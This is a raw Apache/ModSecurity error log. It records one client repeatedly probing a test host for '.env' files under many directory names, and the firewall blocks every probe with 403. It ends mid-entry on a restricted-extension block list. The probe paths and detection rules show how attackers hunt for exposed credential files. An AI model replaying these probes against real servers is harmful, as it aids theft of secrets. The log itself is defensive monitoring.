[Wed Feb 25 06:05:25.416399 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFAAAAAI&quot;]
[Wed Feb 25 06:05:25.416560 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFAAAAAI&quot;]
[Wed Feb 25 06:05:25.453193 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXfgAAAAQ&quot;]
[Wed Feb 25 06:05:25.453441 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXfgAAAAQ&quot;]
[Wed Feb 25 06:05:25.453615 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXfgAAAAQ&quot;]
[Wed Feb 25 06:05:25.481608 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /orientdb-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFQAAAAI&quot;]
[Wed Feb 25 06:05:25.481998 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFQAAAAI&quot;]
[Wed Feb 25 06:05:25.482242 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFQAAAAI&quot;]
[Wed Feb 25 06:05:25.488925 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXfwAAAAQ&quot;]
[Wed Feb 25 06:05:25.489255 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXfwAAAAQ&quot;]
[Wed Feb 25 06:05:25.489419 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXfwAAAAQ&quot;]
[Wed Feb 25 06:05:25.536202 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /outputs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFgAAAAI&quot;]
[Wed Feb 25 06:05:25.536471 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFgAAAAI&quot;]
[Wed Feb 25 06:05:25.536657 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFgAAAAI&quot;]
[Wed Feb 25 06:05:25.558717 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /owncloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFwAAAAI&quot;]
[Wed Feb 25 06:05:25.558972 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFwAAAAI&quot;]
[Wed Feb 25 06:05:25.559128 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXFwAAAAI&quot;]
[Wed Feb 25 06:05:25.623482 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/styled-ui-docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXGQAAAAI&quot;]
[Wed Feb 25 06:05:25.623736 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXGQAAAAI&quot;]
[Wed Feb 25 06:05:25.623895 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXGQAAAAI&quot;]
[Wed Feb 25 06:05:25.646629 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /price_hawk_client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXgAAAAAQ&quot;]
[Wed Feb 25 06:05:25.646882 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXgAAAAAQ&quot;]
[Wed Feb 25 06:05:25.647054 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXgAAAAAQ&quot;]
[Wed Feb 25 06:05:25.648284 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXGgAAAAI&quot;]
[Wed Feb 25 06:05:25.648504 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXGgAAAAI&quot;]
[Wed Feb 25 06:05:25.648651 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXGgAAAAI&quot;]
[Wed Feb 25 06:05:25.710941 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packed/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXGwAAAAI&quot;]
[Wed Feb 25 06:05:25.711246 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXGwAAAAI&quot;]
[Wed Feb 25 06:05:25.711425 2026] [:error] [pid 2312881] [client 185.177.72.13:59788] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aZ6DFVIszkcv5YapLJKXGwAAAAI&quot;]
[Wed Feb 25 06:05:25.717857 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXgQAAAAQ&quot;]
[Wed Feb 25 06:05:25.718175 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXgQAAAAQ&quot;]
[Wed Feb 25 06:05:25.718335 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ6DFZ6MLyC5r86Hx-ZXgQAAAAQ&quot;]
[Wed Feb 25 06:05:25.752322 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag 